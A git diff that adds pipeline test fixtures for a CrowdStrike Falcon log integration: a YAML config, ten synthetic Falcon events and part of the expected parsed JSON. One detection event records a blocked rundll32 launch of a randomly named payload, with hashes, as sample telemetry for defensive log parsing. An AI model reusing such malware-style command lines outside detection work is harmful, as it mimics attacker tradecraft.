a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-common-config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-common-config.yml new file mode 100644 index 0000000000..60eecfd47f --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-common-config.yml @@ -0,0 +1,15 @@ +multiline: + first_line_pattern: "^{" +fields: + tags: + - preserve_original_event +numeric_keyword_fields: + - crowdstrike.event.ExecutablesWritten.Timestamp + - crowdstrike.event.MobileAppsDetails.IsBeingDebugged + - crowdstrike.event.MobileAppsDetails.IsContainerized + - crowdstrike.event.NetworkAccesses.AccessTimestamp + - crowdstrike.event.NetworkAccesses.AccessType + - crowdstrike.event.NetworkAccesses.ConnectionDirection + - crowdstrike.event.NetworkAccesses.IsIPV6 + - crowdstrike.event.NetworkAccesses.LocalPort + - crowdstrike.event.NetworkAccesses.RemotePort diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-event-stream.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-event-stream.log new file mode 100644 index 0000000000..e3f3350c38 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-event-stream.log @@ -0,0 +1,10 @@ +{"metadata":{"customerIDString":"abcabcabc22222","offset":8693900,"eventType":"FirewallMatchEvent","eventCreationTime":1698921571000,"version":"1.0"},"event":{"DeviceId":"6734ff444f4456","CustomerId":"abcabcabc22222","Ipv":"ipv4","CommandLine":"System","ConnectionDirection":"1","EventType":"FirewallRuleIP4Matched","Flags":{"Audit":false,"Log":true,"Monitor":true},"HostName":"INPUNEDITCLP229","ICMPCode":"","ICMPType":"","ImageFileName":"System","LocalAddress":"81.2.69.142","LocalPort":"445","MatchCount":1,"MatchCountSinceLastReport":1,"NetworkProfile":"2","PID":"11111111","PolicyName":"PROD-FW-Workstations-Office-20201001","PolicyID":"3ec266b28bef471f9fd990e4f39ac829","Protocol":"6","RemoteAddress":"81.2.69.142","RemotePort":"53452","RuleAction":"2","RuleDescription":"","RuleFamilyID":"11111111aaaaaaaa","RuleGroupName":"SMBRules","RuleName":"InboundSMBBlock\u0026LogPrivate","RuleId":"4877172638743447345","Status":"","Timestamp":"2023-11-02T10:39:29Z","TreeID":"","Platform":"windows"}} +{"metadata":{"customerIDString":"abcabcabc22222","offset":8693906,"eventType":"IdpDetectionSummaryEvent","eventCreationTime":1698921607000,"version":"1.0"},"event":{"ContextTimeStamp":133433951380000000,"DetectId":"abcabcabc22222:ind:abcabcabc22222:5E8D397E-79C1-AAAA-9715-EEEEEE2222","DetectName":"Unusual login to an endpoint","DetectDescription":"A user logged into a machine for the first time","FalconHostLink":"https://falcon.crowdstrike.com/identity-protection/detections/abcabcabc22222:ind:abcabcabc22222:5E8D397E-79C1-AAAA-9715-EEEEEE2222?_cid=abcabcabc22222","StartTime":133433949600000000,"EndTime":133433949600000000,"Severity":34,"SeverityName":"Low","Tactic":"InitialAccess","Technique":"ValidAccounts","Objective":"Gain Access","SourceAccountDomain":"NA.AAA.ABC.com","SourceAccountName":"abc.service","SourceAccountUpn":"admin.service@example.com","SourceAccountObjectSid":"S-1-S-1-S-1-1111-1844237615-1801674531-175881","SourceEndpointAccountObjectGuid":"C078A5DA-E13B-4418-AA28-802EF8C16210","SourceEndpointAccountObjectSid":"S-1-S-1-S-1-1111-1844237615-1801674531-316681","SourceEndpointHostName":"nope122.na.net.ABC.com","SourceEndpointIpAddress":"81.2.69.142","SourceEndpointSensorId":"a2f1de586958434eb5e14e30214e17ed","ActivityId":"76CC8396-7148-4CEB-84CB-08FAFE4FAC37","PatternId":51135,"SourceVendors":"CrowdStrike","SourceProducts":"FalconIdentityProtection","DataDomains":"Identity"}} +{"metadata":{"customerIDString":"abcabcabc22222","offset":8694126,"eventType":"IdentityProtectionEvent","eventCreationTime":1698923523065,"version":"1.0"},"event":{"IncidentType":"Unusuallogintoanendpoint","IncidentDescription":"Unusuallogintoanendpoint","Severity":4,"SeverityName":"LOW","StartTime":1698923340000,"EndTime":1698923340000,"IdentityProtectionIncidentId":"7a79b2de-4e10-41fb-818f-2bdf53c1625a","UserName":"NA.NET.ABC.com\\abc.service","EndpointName":"itreg1d3wp8vh3.eu.net.ABC.com","EndpointIp":"","Category":"Detections","NumbersOfAlerts":1,"NumberOfCompromisedEntities":2,"State":"NEW","FalconHostLink":"https://falcon.crowdstrike.com/identity-protection/detections/abcabcabc22222:ind:abcabcabc22222:7A79B2DE-4E10-41FB-818F-2BDF53C1625A"}} +{"metadata":{"customerIDString":"abcabcabc22222","offset":8694676,"eventType":"AuthActivityAuditEvent","eventCreationTime":1698927699286,"version":"1.0"},"event":{"UserId":"admin.rose@example.com","UserIp":"81.2.69.144","OperationName":"saml2Assert","ServiceName":"CrowdstrikeAuthentication","Success":true,"UTCTimestamp":1698927699,"AuditKeyValues":[{"Key":"target_user","ValueString":"admin.rose@example.com"},{"Key":"trace_id","ValueString":"19169200-76c5-4861-92f1-355d0a908f40"},{"Key":"saml_envelope","ValueString":"SampleValue"},{"Key":"saml_assertion","ValueString":"sampleassertion"},{"Key":"app_id","ValueString":"fa8e047e-2e60-4837-b987-c57020947cd6"},{"Key":"actor_user","ValueString":"admin.rose@example.com"},{"Key":"actor_user_uuid","ValueString":"8940ddf0-bc3c-480b-a05a-bb94ff5dc0fb"},{"Key":"actor_cid","ValueString":"abcabcabc22222"}],"Attributes":{"actor_cid":"abcabcabc22222","actor_user":"admin.rose@example.com","actor_user_uuid":"00000000-aaaa-480b-a05a-bb94ff5dc0fb","app_id":"aaaaaaaa-2e60-4837-b987-c57020947cd6","saml_assertion":"saml_assertion_sample","target_user":"admin.rose@example.com","trace_id":"000000-76c5-4861-92f1-355d0a908f40"}}} +{"metadata":{"customerIDString":"abcabcabc22222","offset":8694733,"eventType":"UserActivityAuditEvent","eventCreationTime":1698928127000,"version":"1.0"},"event":{"UserId":"admin.rose@example.com","UserIp":"81.2.69.144","OperationName":"reveal_token","ServiceName":"sensor_update_policy","AuditKeyValues":[{"Key":"device_id","ValueString":"abcancancbanjjagjaj"},{"Key":"seedID","ValueString":"101"},{"Key":"message","ValueString":"Removeduplicatesensor."}],"UTCTimestamp":1698928127,"Attributes":{"device_id":"afjafanfafasfjaf","message":"Removeduplicatesensor.","seedID":"101"}}} +{"metadata":{"customerIDString":"abcabcabc22222","offset":8694992,"eventType":"ScheduledReportNotificationEvent","eventCreationTime":1698930172000,"version":"1.0"},"event":{"UserUUID":"9999999-bc3c-99bb-a05a-bb94ff5dc0fb","UserID":"admin.rose@example.com","ExecutionID":"efghtigh","ReportID":"999999ddddddddd","ReportName":"LarouxSearch","ReportType":"event_search","ReportFileReference":"/reports/entities/report-executions-download/v1?ids=eeeeeeeeeerrrrr444444","Status":1,"StatusMessage":"message","ExecutionMetadata":{"ExecutionStart":1698930019000,"ExecutionDuration":152176,"ReportFileName":"Laroux_Search_2023_November_2_13017_34176.csv","ResultCount":0,"ResultID":"fffffzdlIiwiY3VzdG9tZXJfYXBwIjoiZWFtIiwic2lnbmF0dXJlX3BvcnRpb24iOiIzYWRhOTZiNDA4MTkxNTFhZmIxYjFkOTM2MWZhMmE1NjBmNGNkMzc0ODQxNTY4MDlkYzhmNDRkMmRkZDY1NzdlIn0=","SearchWindowStart":1698843600000,"SearchWindowEnd":1698930000000}}} +{"metadata":{"customerIDString":"abcabcabc22222","offset":8695284,"eventType":"RemoteResponseSessionStartEvent","eventCreationTime":1698932494000,"version":"1.0"},"event":{"SessionId":"1111-fffff-4bb4-99c1-74c13cfc3e5a","HostnameField":"UKCHUDL00206","UserName":"admin.rose@example.com","StartTimestamp":1698932494,"AgentIdString":"fffffffff33333"}} +{"metadata":{"customerIDString":"abcabcabc22222","offset":8695332,"eventType":"DetectionSummaryEvent","eventCreationTime":1698932615000,"version":"1.0"},"event":{"ProcessStartTime":1698932614,"ProcessEndTime":1698932614,"ProcessId":54665651,"ParentProcessId":540396081,"ComputerName":"INNOIDL0032","UserName":"vishnu.sharma","DetectName":"AttackerMethodology","DetectDescription":"Rundll32launchedafilewithanunusualname.Somemalwareabusesrundll32tolaunchmaliciouspayloads.Investigatethecommandlinearguments,astheylikelyreferencethemaliciouspayload.","Severity":4,"SeverityName":"High","FileName":"rundll32.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32","CommandLine":"\"C:\\Windows\\System32\\rundll32.exe\"\\lwbuimisawnmsfdjmazvobzb.brl,kokknnjfybyqjrrh","SHA256String":"d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e","MD5String":"a52bfa4a96f97c368312028dbd7c8461","SHA1String":"0000000000000000000000000000000000000000","MachineDomain":"AP","FalconHostLink":"https://falcon.crowdstrike.com/activity/detections/detail/6902738b2a374a718cd9a45085baaf50/2246270721205?_cid=gffffffffy3zjobdz7ewb4xjqyjsy5a","SensorId":"69027ffffffffffffaaf50","IOCType":"hash_sha256","IOCValue":"d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e","DetectId":"ldt:690ddddddd0721205","LocalIP":"81.2.69.144","MACAddress":"02-50-41-00-00-01","Tactic":"DefenseEvasion","Technique":"Rundll32","Objective":"KeepAccess","PatternDispositionDescription":"Prevention,processwasblockedfromexecution.","PatternDispositionValue":2048,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":false,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":false,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":true,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false},"ParentImageFileName":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","ParentCommandLine":"C:\\Windows\\Explorer.EXE","GrandparentImageFileName":"\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe","GrandparentCommandLine":"C:\\Windows\\system32\\userinit.exe","HostGroups":"e2091491a28248eaae3ede9f217e03fc,e837d750b8ba400c953380da346e2b04,186c20383a98495cb0e0a7d5540f3aff,24d1f760fcdc46d992bb8f41d7dd897b,2b7bd0fede874baaa1afdea20f255632,a293aded9c4548469d0e853b7267cce5,adab9db4541040729e01d16211189a27,b75b27ce17244922bd0a862a712ea812","Tags":"SensorGroupingTags/USB_Storage_Exception","AssociatedFile":"\\Device\\HarddiskVolume4\\Windows\\System32\\rundll32.exe","PatternId":10186}} +{"metadata":{"customerIDString":"abcabcabc22222","offset":8698239,"eventType":"IncidentSummaryEvent","eventCreationTime":1698971797000,"version":"1.0"},"event":{"IncidentStartTime":1698971797,"IncidentEndTime":1698971797,"FalconHostLink":"https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:654a735066d640939aaaaaaaaaaaaaaaaaaaaaaaf47349032acd86820223e?_cid=ggggffffhhhhjjjjj","State":"open","FineScore":6.1,"LateralMovement":0,"IncidentType":1,"IncidentID":"inc:654a735066d640939aaaaaaaaaaaaaaaaaaaaaaaf47349032acd86820223e","HostID":"4345454534534545"}} +{"metadata":{"customerIDString":"abcabcabc22222","offset":8695332,"eventType":"DetectionSummaryEvent","eventCreationTime":1698932615000,"version":"1.0"},"event":{"ProcessStartTime":1698932614,"ProcessEndTime":1698932614,"ProcessId":54665651,"ParentProcessId":540396081,"ComputerName":"INNOIDL0032","UserName":"vishnu.sharma","DetectName":"AttackerMethodology","DetectDescription":"Rundll32launchedafilewithanunusualname.Somemalwareabusesrundll32tolaunchmaliciouspayloads.Investigatethecommandlinearguments,astheylikelyreferencethemaliciouspayload.","Severity":4,"SeverityName":"High","FileName":"rundll32.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32","CommandLine":"\"C:\\Windows\\System32\\rundll32.exe\"\\lwbuimisawnmsfdjmazvobzb.brl,kokknnjfybyqjrrh","SHA256String":"d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e","MD5String":"a52bfa4a96f97c368312028dbd7c8461","SHA1String":"0000000000000000000000000000000000000000","MachineDomain":"AP","FalconHostLink":"https://falcon.crowdstrike.com/activity/detections/detail/6902738b2a374a718cd9a45085baaf50/2246270721205?_cid=gffffffffy3zjobdz7ewb4xjqyjsy5a","SensorId":"69027ffffffffffffaaf50","IOCType":"hash_sha256","IOCValue":"d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e","DetectId":"ldt:690ddddddd0721205","LocalIP":"81.2.69.144","MACAddress":"02-50-41-00-00-01","Tactic":"DefenseEvasion","Technique":"Rundll32","Objective":"KeepAccess","PatternDispositionDescription":"Prevention,processwasblockedfromexecution.","PatternDispositionValue":2048,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":false,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":false,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":true,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false},"ParentImageFileName":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","ParentCommandLine":"C:\\Windows\\Explorer.EXE","GrandparentImageFileName":"\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe","GrandparentCommandLine":"C:\\Windows\\system32\\userinit.exe","HostGroups":"e2091491a28248eaae3ede9f217e03fc,e837d750b8ba400c953380da346e2b04,186c20383a98495cb0e0a7d5540f3aff,24d1f760fcdc46d992bb8f41d7dd897b,2b7bd0fede874baaa1afdea20f255632,a293aded9c4548469d0e853b7267cce5,adab9db4541040729e01d16211189a27,b75b27ce17244922bd0a862a712ea812","Tags":"SensorGroupingTags/USB_Storage_Exception","AssociatedFile":"\\Device\\HarddiskVolume4\\Windows\\System32\\rundll32.exe","PatternId":10186,"MitreAttack":[{"Tactic":"DefenseEvasion","Technique":"Rundll32","PatternID":10186}]}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-event-stream.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-event-stream.log-expected.json new file mode 100644 index 0000000000..6223e02bb5 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-event-stream.log-expected.json @@ -0,0 +1,984 @@ +{ + "expected": [ + { + "@timestamp": "2023-11-02T10:39:31.000Z", + "crowdstrike": { + "event": { + "CustomerId": "abcabcabc22222", + "DeviceId": "6734ff444f4456", + "Flags": { + "Audit": false, + "Log": true, + "Monitor": true + }, + "MatchCount": 1, + "MatchCountSinceLastReport": 1, + "NetworkProfile": "2", + "PolicyID": "3ec266b28bef471f9fd990e4f39ac829", + "PolicyName": "PROD-FW-Workstations-Office-20201001", + "Protocol": "6", + "RuleAction": "2", + "Timestamp": "2023-11-02T10:39:29Z" + }, + "metadata": { + "customerIDString": "abcabcabc22222", + "eventType": "FirewallMatchEvent", + "offset": 8693900, + "version": "1.0" + } + }, + "destination": { + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": "81.2.69.142", + "port": 445 + }, + "device": { + "id": "6734ff444f4456" + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": [ + "firewall_match_event" + ], + "category": [ + "network" + ], + "code": "FirewallRuleIP4Matched", + "created": "2023-11-02T10:39:31.000Z", + "kind": "event", + "original": "{\"metadata\":{\"customerIDString\":\"abcabcabc22222\",\"offset\":8693900,\"eventType\":\"FirewallMatchEvent\",\"eventCreationTime\":1698921571000,\"version\":\"1.0\"},\"event\":{\"DeviceId\":\"6734ff444f4456\",\"CustomerId\":\"abcabcabc22222\",\"Ipv\":\"ipv4\",\"CommandLine\":\"System\",\"ConnectionDirection\":\"1\",\"EventType\":\"FirewallRuleIP4Matched\",\"Flags\":{\"Audit\":false,\"Log\":true,\"Monitor\":true},\"HostName\":\"INPUNEDITCLP229\",\"ICMPCode\":\"\",\"ICMPType\":\"\",\"ImageFileName\":\"System\",\"LocalAddress\":\"81.2.69.142\",\"LocalPort\":\"445\",\"MatchCount\":1,\"MatchCountSinceLastReport\":1,\"NetworkProfile\":\"2\",\"PID\":\"11111111\",\"PolicyName\":\"PROD-FW-Workstations-Office-20201001\",\"PolicyID\":\"3ec266b28bef471f9fd990e4f39ac829\",\"Protocol\":\"6\",\"RemoteAddress\":\"81.2.69.142\",\"RemotePort\":\"53452\",\"RuleAction\":\"2\",\"RuleDescription\":\"\",\"RuleFamilyID\":\"11111111aaaaaaaa\",\"RuleGroupName\":\"SMBRules\",\"RuleName\":\"InboundSMBBlock\\u0026LogPrivate\",\"RuleId\":\"4877172638743447345\",\"Status\":\"\",\"Timestamp\":\"2023-11-02T10:39:29Z\",\"TreeID\":\"\",\"Platform\":\"windows\"}}", + "type": [ + "start", + "connection", + "denied" + ] + }, + "host": { + "name": "INPUNEDITCLP229", + "os": { + "platform": "windows" + } + }, + "message": "Firewall Rule: 'InboundSMBBlock&LogPrivate' triggered - Action: 'Blocked'", + "network": { + "direction": "ingress", + "type": "ipv4" + }, + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "process": { + "args": [ + "System" + ], + "command_line": "System", + "entity_id": "11111111", + "executable": "System", + "pid": 11111111 + }, + "related": { + "hosts": [ + "INPUNEDITCLP229" + ], + "ip": [ + "81.2.69.142" + ] + }, + "rule": { + "category": "11111111aaaaaaaa", + "id": "4877172638743447345", + "name": "InboundSMBBlock&LogPrivate", + "ruleset": "SMBRules" + }, + "source": { + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": "81.2.69.142", + "port": 53452 + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2023-11-02T10:40:07.000Z", + "crowdstrike": { + "event": { + "ActivityId": "76CC8396-7148-4CEB-84CB-08FAFE4FAC37", + "DataDomains": "Identity", + "Objective": "Gain Access", + "PatternId": "51135", + "Severity": 34, + "SeverityName": "Low", + "SourceAccountUpn": "admin.service@example.com", + "SourceEndpointAccountObjectGuid": "C078A5DA-E13B-4418-AA28-802EF8C16210", + "SourceEndpointAccountObjectSid": "S-1-S-1-S-1-1111-1844237615-1801674531-316681", + "SourceEndpointSensorId": "a2f1de586958434eb5e14e30214e17ed", + "SourceProducts": "FalconIdentityProtection", + "SourceVendors": "CrowdStrike" + }, + "metadata": { + "customerIDString": "abcabcabc22222", + "eventType": "IdpDetectionSummaryEvent", + "offset": 8693906, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": "ipd-detection", + "category": [ + "malware" + ], + "created": "2023-11-02T10:38:58.000Z", + "end": "2023-11-02T10:36:00.000Z", + "kind": "alert", + "original": "{\"metadata\":{\"customerIDString\":\"abcabcabc22222\",\"offset\":8693906,\"eventType\":\"IdpDetectionSummaryEvent\",\"eventCreationTime\":1698921607000,\"version\":\"1.0\"},\"event\":{\"ContextTimeStamp\":133433951380000000,\"DetectId\":\"abcabcabc22222:ind:abcabcabc22222:5E8D397E-79C1-AAAA-9715-EEEEEE2222\",\"DetectName\":\"Unusual login to an endpoint\",\"DetectDescription\":\"A user logged into a machine for the first time\",\"FalconHostLink\":\"https://falcon.crowdstrike.com/identity-protection/detections/abcabcabc22222:ind:abcabcabc22222:5E8D397E-79C1-AAAA-9715-EEEEEE2222?_cid=abcabcabc22222\",\"StartTime\":133433949600000000,\"EndTime\":133433949600000000,\"Severity\":34,\"SeverityName\":\"Low\",\"Tactic\":\"InitialAccess\",\"Technique\":\"ValidAccounts\",\"Objective\":\"Gain Access\",\"SourceAccountDomain\":\"NA.AAA.ABC.com\",\"SourceAccountName\":\"abc.service\",\"SourceAccountUpn\":\"admin.service@example.com\",\"SourceAccountObjectSid\":\"S-1-S-1-S-1-1111-1844237615-1801674531-175881\",\"SourceEndpointAccountObjectGuid\":\"C078A5DA-E13B-4418-AA28-802EF8C16210\",\"SourceEndpointAccountObjectSid\":\"S-1-S-1-S-1-1111-1844237615-1801674531-316681\",\"SourceEndpointHostName\":\"nope122.na.net.ABC.com\",\"SourceEndpointIpAddress\":\"81.2.69.142\",\"SourceEndpointSensorId\":\"a2f1de586958434eb5e14e30214e17ed\",\"ActivityId\":\"76CC8396-7148-4CEB-84CB-08FAFE4FAC37\",\"PatternId\":51135,\"SourceVendors\":\"CrowdStrike\",\"SourceProducts\":\"FalconIdentityProtection\",\"DataDomains\":\"Identity\"}}", + "reference": "https://falcon.crowdstrike.com/identity-protection/detections/abcabcabc22222:ind:abcabcabc22222:5E8D397E-79C1-AAAA-9715-EEEEEE2222?_cid=abcabcabc22222", + "severity": 21, + "start": "2023-11-02T10:36:00.000Z", + "type": [ + "info" + ] + }, + "host": { + "ip": [ + "81.2.69.142" + ], + "name": "nope122.na.net.ABC.com" + }, + "message": "A user logged into a machine for the first time", + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "related": { + "hosts": [ + "nope122.na.net.ABC.com" + ], + "user": [ + "abc.service" + ] + }, + "rule": { + "description": "A user logged into a machine for the first time", + "id": "abcabcabc22222:ind:abcabcabc22222:5E8D397E-79C1-AAAA-9715-EEEEEE2222", + "name": "Unusual login to an endpoint", + "uuid": "51135" + }, + "tags": [ + "preserve_original_event" + ], + "threat": { + "tactic": { + "name": [ + "InitialAccess" + ] + }, + "technique": { + "name": [ + "ValidAccounts" + ] + } + }, + "user": { + "domain": "NA.AAA.ABC.com", + "id": "S-1-S-1-S-1-1111-1844237615-1801674531-175881", + "name": "abc.service" + } + }, + { + "@timestamp": "2023-11-02T11:09:00.000Z", + "crowdstrike": { + "event": { + "Category": "Detections", + "NumberOfCompromisedEntities": 2, + "NumbersOfAlerts": 1, + "Severity": 4, + "SeverityName": "LOW", + "State": "NEW" + }, + "metadata": { + "customerIDString": "abcabcabc22222", + "eventType": "IdentityProtectionEvent", + "offset": 8694126, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": "Unusuallogintoanendpoint", + "category": [ + "iam" + ], + "created": "2023-11-02T11:12:03.065Z", + "end": "2023-11-02T11:09:00.000Z", + "id": "7a79b2de-4e10-41fb-818f-2bdf53c1625a", + "kind": "event", + "original": "{\"metadata\":{\"customerIDString\":\"abcabcabc22222\",\"offset\":8694126,\"eventType\":\"IdentityProtectionEvent\",\"eventCreationTime\":1698923523065,\"version\":\"1.0\"},\"event\":{\"IncidentType\":\"Unusuallogintoanendpoint\",\"IncidentDescription\":\"Unusuallogintoanendpoint\",\"Severity\":4,\"SeverityName\":\"LOW\",\"StartTime\":1698923340000,\"EndTime\":1698923340000,\"IdentityProtectionIncidentId\":\"7a79b2de-4e10-41fb-818f-2bdf53c1625a\",\"UserName\":\"NA.NET.ABC.com\\\\abc.service\",\"EndpointName\":\"itreg1d3wp8vh3.eu.net.ABC.com\",\"EndpointIp\":\"\",\"Category\":\"Detections\",\"NumbersOfAlerts\":1,\"NumberOfCompromisedEntities\":2,\"State\":\"NEW\",\"FalconHostLink\":\"https://falcon.crowdstrike.com/identity-protection/detections/abcabcabc22222:ind:abcabcabc22222:7A79B2DE-4E10-41FB-818F-2BDF53C1625A\"}}", + "reference": "https://falcon.crowdstrike.com/identity-protection/detections/abcabcabc22222:ind:abcabcabc22222:7A79B2DE-4E10-41FB-818F-2BDF53C1625A", + "severity": 21, + "start": "2023-11-02T11:09:00.000Z", + "type": [ + "info" + ] + }, + "host": { + "hostname": "itreg1d3wp8vh3.eu.net.ABC.com" + }, + "message": "Unusuallogintoanendpoint", + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "related": { + "user": [ + "abc.service" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "domain": "NA.NET.ABC.com", + "name": "abc.service" + } + }, + { + "@timestamp": "2023-11-02T12:21:39.000Z", + "crowdstrike": { + "event": { + "Attributes": { + "actor_cid": "abcabcabc22222", + "actor_user": "admin.rose@example.com", + "actor_user_uuid": "00000000-aaaa-480b-a05a-bb94ff5dc0fb", + "app_id": "aaaaaaaa-2e60-4837-b987-c57020947cd6", + "saml_assertion": "saml_assertion_sample", + "target_user": "admin.rose@example.com", + "trace_id": "000000-76c5-4861-92f1-355d0a908f40" + }, + "AuditKeyValues": [ + { + "Key": "target_user", + "ValueString": "admin.rose@example.com" + }, + { + "Key": "trace_id", + "ValueString": "19169200-76c5-4861-92f1-355d0a908f40" + }, + { + "Key": "saml_envelope", + "ValueString": "SampleValue" + }, + { + "Key": "saml_assertion", + "ValueString": "sampleassertion" + }, + { + "Key": "app_id", + "ValueString": "fa8e047e-2e60-4837-b987-c57020947cd6" + }, + { + "Key": "actor_user", + "ValueString": "admin.rose@example.com" + }, + { + "Key": "actor_user_uuid", + "ValueString": "8940ddf0-bc3c-480b-a05a-bb94ff5dc0fb" + }, + { + "Key": "actor_cid", + "ValueString": "abcabcabc22222" + } + ], + "OperationName": "saml2Assert", + "Success": true + }, + "metadata": { + "customerIDString": "abcabcabc22222", + "eventType": "AuthActivityAuditEvent", + "offset": 8694676, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": [ + "saml2Assert" + ], + "category": [ + "iam" + ], + "created": "2023-11-02T12:21:39.286Z", + "kind": "event", + "original": "{\"metadata\":{\"customerIDString\":\"abcabcabc22222\",\"offset\":8694676,\"eventType\":\"AuthActivityAuditEvent\",\"eventCreationTime\":1698927699286,\"version\":\"1.0\"},\"event\":{\"UserId\":\"admin.rose@example.com\",\"UserIp\":\"81.2.69.144\",\"OperationName\":\"saml2Assert\",\"ServiceName\":\"CrowdstrikeAuthentication\",\"Success\":true,\"UTCTimestamp\":1698927699,\"AuditKeyValues\":[{\"Key\":\"target_user\",\"ValueString\":\"admin.rose@example.com\"},{\"Key\":\"trace_id\",\"ValueString\":\"19169200-76c5-4861-92f1-355d0a908f40\"},{\"Key\":\"saml_envelope\",\"ValueString\":\"SampleValue\"},{\"Key\":\"saml_assertion\",\"ValueString\":\"sampleassertion\"},{\"Key\":\"app_id\",\"ValueString\":\"fa8e047e-2e60-4837-b987-c57020947cd6\"},{\"Key\":\"actor_user\",\"ValueString\":\"admin.rose@example.com\"},{\"Key\":\"actor_user_uuid\",\"ValueString\":\"8940ddf0-bc3c-480b-a05a-bb94ff5dc0fb\"},{\"Key\":\"actor_cid\",\"ValueString\":\"abcabcabc22222\"}],\"Attributes\":{\"actor_cid\":\"abcabcabc22222\",\"actor_user\":\"admin.rose@example.com\",\"actor_user_uuid\":\"00000000-aaaa-480b-a05a-bb94ff5dc0fb\",\"app_id\":\"aaaaaaaa-2e60-4837-b987-c57020947cd6\",\"saml_assertion\":\"saml_assertion_sample\",\"target_user\":\"admin.rose@example.com\",\"trace_id\":\"000000-76c5-4861-92f1-355d0a908f40\"}}}", + "outcome": "success" + }, + "message": "CrowdstrikeAuthentication", + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "related": { + "ip": [ + "81.2.69.144" + ], + "user": [ + "admin.rose", + "admin.rose@example.com" + ] + }, + "source": { + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": "81.2.69.144" + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "domain": "example.com", + "email": "admin.rose@example.com", + "name": "admin.rose" + } + }, + { + "@timestamp": "2023-11-02T12:28:47.000Z", + "crowdstrike": { + "event": { + "Attributes": { + "device_id": "afjafanfafasfjaf", + "message": "Removeduplicatesensor.", + "seedID": "101" + }, + "AuditKeyValues": [ + { + "Key": "device_id", + "ValueString": "abcancancbanjjagjaj" + }, + { + "Key": "seedID", + "ValueString": "101" + }, + { + "Key": "message", + "ValueString": "Removeduplicatesensor." + } + ], + "ServiceName": "sensor_update_policy" + }, + "metadata": { + "customerIDString": "abcabcabc22222", + "eventType": "UserActivityAuditEvent", + "offset": 8694733, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": "user_activity_audit_event", + "category": [ + "iam" + ], + "created": "2023-11-02T12:28:47.000Z", + "kind": "event", + "original": 